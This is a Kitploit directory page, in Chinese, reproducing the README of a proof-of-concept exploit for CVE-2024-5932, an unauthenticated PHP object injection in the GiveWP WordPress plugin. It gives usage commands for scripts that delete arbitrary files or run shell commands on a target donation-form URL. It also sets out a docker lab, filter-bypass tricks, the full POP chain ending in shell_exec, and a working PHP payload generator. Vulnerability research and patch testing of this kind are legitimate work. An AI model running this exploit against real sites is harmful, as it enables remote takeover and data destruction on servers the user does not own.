Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-5932 — 针对 CVE-2024-5932 的概念验证漏洞利用程序,该漏洞是 GiveWP WordPress 插件中的一个 PHP 对象注入漏洞,通过 POP 链实现未认证的远程代码执行和任意文件删除。 | Kitploit
工具/GitHubGitHub/nishant-kumar-5173/cve-2024-5932
漏洞分析代码分析漏洞利用Web应用程序漏洞利用渗透测试论文与研究学习与教育Payload 开发
GitHubnishant-kumar-5173/cve-2024-5932

CVE-2024-5932

针对 CVE-2024-5932 的概念验证漏洞利用程序,该漏洞是 GiveWP WordPress 插件中的一个 PHP 对象注入漏洞,通过 POP 链实现未认证的远程代码执行和任意文件删除。

查看仓库
23个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2024-5932

★ CVE-2024-5932 任意文件删除与 RCE 概念验证 ★

https://github.com/user-attachments/assets/333e347a-fd71-404a-962b-2d0d4bb952c7

时间线

8月25日:上传 CVE-2024-5932 文件删除 PoC

8月26日:我们已通过 CVE-2024-5932 成功执行任意命令,但由于影响范围考虑是否披露。

8月27日:我们在 RCE Security 的 Julien Ahrens 的 文章 中找到了 PoC 的详细分析,决定发布我们的 RCE PoC。我们额外上传了一个 RCE PoC 文件,命名为 CVE-2024-5932-rce.py。

描述

CVE-2024-5932:GiveWP PHP 对象注入漏洞 描述:GiveWP 捐赠插件和筹款平台 WordPress 插件在所有版本(包括 3.14.1)中均存在 PHP 对象注入漏洞,原因是通过反序列化来自 'give_title' 参数的不可信输入。这使得未经身份验证的攻击者能够注入 PHP 对象。此外,POP 链的存在允许攻击者远程执行代码以及删除任意文件。

使用方法

Git 克隆

root@kitploit:~
git clone https://github.com/EQSTLab/CVE-2024-5932.git
cd CVE-2024-5932

安装依赖包

root@kitploit:~
pip install -r requirements.txt

命令

root@kitploit:~
# 任意文件删除
python CVE-2024-5932.py -u <要利用的URL(捐赠表单URL)> -f <要删除的文件>
# 远程代码执行
python CVE-2024-5932-rce.py -u <要利用的URL(捐赠表单URL)> -c <要执行的命令>

示例

root@kitploit:~
python CVE-2024-5932.py -u http://example.com/2024/08/24/donation2/ -f /tmp/test
python CVE-2024-5932-rce.py -u http://example.com/2024/08/24/donation2/ -c "touch /tmp/test"

输出

CVE-2024-5932.py 0

CVE-2024-5932-rce.py 1

结果

image 2

漏洞环境

1. docker-compose.yml

root@kitploit:~
services:
  db:
    image: mysql:8.0.27
    command: '--default-authentication-plugin=mysql_native_password'
    restart: always
    environment:
      - MYSQL_ROOT_PASSWORD=somewordpress
      - MYSQL_DATABASE=wordpress
      - MYSQL_USER=wordpress
      - MYSQL_PASSWORD=wordpress
    expose:
      - 3306
      - 33060
  wordpress:
    image: wordpress:6.3.2
    ports:
      - 80:80
    restart: always
    environment:
      - WORDPRESS_DB_HOST=db
      - WORDPRESS_DB_USER=wordpress
      - WORDPRESS_DB_PASSWORD=wordpress
      - WORDPRESS_DB_NAME=wordpress
volumes:
  db_data:

2. 然后下载存在漏洞的 GiveWP 插件:

https://downloads.wordpress.org/plugin/give.3.14.1.zip

3. 解压 GiveWP 插件 zip 文件,并将整个文件夹复制到 "/var/www/html/wp-content/plugins" 目录。

root@kitploit:~
docker cp give docker-wordpress-1:/var/www/html/wp-content/plugins

4. 激活 GiveWP 插件

image

5. 使用 GiveWP 插件添加新文章,并复制文章链接

image

6. 检查存在漏洞的链接

image

(可选)在 Docker 环境中设置目标文件

首先,使用以下命令访问 wordpress 的 shell:

root@kitploit:~
docker exec -it -u root docker-wordpress-1 /bin/bash

如果文件由 root 拥有,由于权限问题可能无法删除。因此,需要使用以下命令更改测试文件的所有权:

root@kitploit:~
touch test && chown www-data test

image

通过 PHPSTORM 进行调试

你可以使用 PHPSTORM 调试 GiveWP。

1. 在你的 WordPress(Docker)中下载 xdebug:

root@kitploit:~
pecl install xdebug

2. 然后像这样配置 WordPress 的 php.ini 文件(Docker 内):

root@kitploit:~
[DEBUG]
zend_extension=/usr/local/lib/php/extensions/no-debug-non-zts-20200930/xdebug.so
xdebug.mode=debug
xdebug.start_with_request=trigger
xdebug.remote_enable=on
xdebug.remote_handler=dbgp
xdebug.client_host={你的PHPSTORM地址}
xdebug.client_port={你的PHPSTORM调试端口}
xdebug.idekey=PHPSTORM
xdebug.profiler_enable_trigger=1
xdebug.trace_enable_trigger=1

……然后你就可以调试你的 WordPress 了。

3. 像这样配置 PHPSTORM(本地):

image image

4. PHPSTORM 示例(例如 TCPDF 任意文件删除)

image

分析

漏洞点(includes/payments/class-give-payment.php)

在此处,get_meta() 函数反序列化之前保存的 "give_title" 值。

root@kitploit:~
switch ( $key ) {
						case 'title':
							$user_info[ $key ] = Give()->donor_meta->get_meta( $donor->id, '_give_donor_title_prefix', true );
							break;
...

绕过技术

strip_tags:替换空字节 -> 使用 \0

stripslashes_deep:替换反斜杠 -> 使用 \\\\

用于 RCE 的 POP 链

Stripe\StripeObject->__toString()

Stripe\StripeObject->toArray()

Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->toArray()

Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->getLegacyBillingAddress()

Give->__get('address1')

\Give\Vendors\Faker\ValidGenerator->get('address1')

\Give\Vendors\Faker\ValidGenerator->__call('get', 'address1')

Give\Onboarding\SettingsRepository->get('address1') (返回命令字符串)

call_user_func('shell_exec', 'command')

PoC.php

root@kitploit:~
<?php
namespace Stripe{
	class StripeObject
	{
		protected $_values;
		public function __construct(){
			$this->_values['foo'] = new \Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData();
		}
	}
}

namespace Give\PaymentGateways\DataTransferObjects{
	class GiveInsertPaymentData{
    public $userInfo;
		public function __construct()
    {
        $this->userInfo['address'] = new \Give();
    } 
	}
}	

namespace{
	class Give{
		protected $container;
		public function __construct()
		{
			$this->container = new \Give\Vendors\Faker\ValidGenerator();
		}
	}
}

namespace Give\Vendors\Faker{
	class ValidGenerator{
		protected $validator;
		protected $generator;
		public function __construct()
		{
			$this->validator = "shell_exec";
			$this->generator = new \Give\Onboarding\SettingsRepository();
		}
	}
}

namespace Give\Onboarding{
	class SettingsRepository{
		protected $settings;
		public function __construct()
		{
			$this -> settings['address1'] = 'touch /tmp/EQSTtest';
		}
	}
}

namespace{
	$a = new Stripe\StripeObject();
	echo serialize($a);
}

攻击场景

通过 POP 链实现 RCE

POP 链允许远程命令执行。 image

任意文件删除

利用 TCPDF,你可以实现任意文件删除。

免责声明

本仓库并非旨在成为 CVE-2024-5932 的对象注入利用工具。本项目旨在帮助人们了解此漏洞,并可能用于测试他们自己的应用程序。

EQST 洞察

我们每月发布一次 CVE 和恶意软件分析。如果你感兴趣,请点击以下链接查看我们的发布内容。 https://www.skshieldus.com/eng/business/insight.do

参考

https://www.wordfence.com/blog/2024/08/4998-bounty-awarded-and-100000-wordpress-sites-protected-against-unauthenticated-remote-code-execution-vulnerability-patched-in-givewp-wordpress-plugin/

https://skshieldus.com/eng/business/insight.do#

下载工具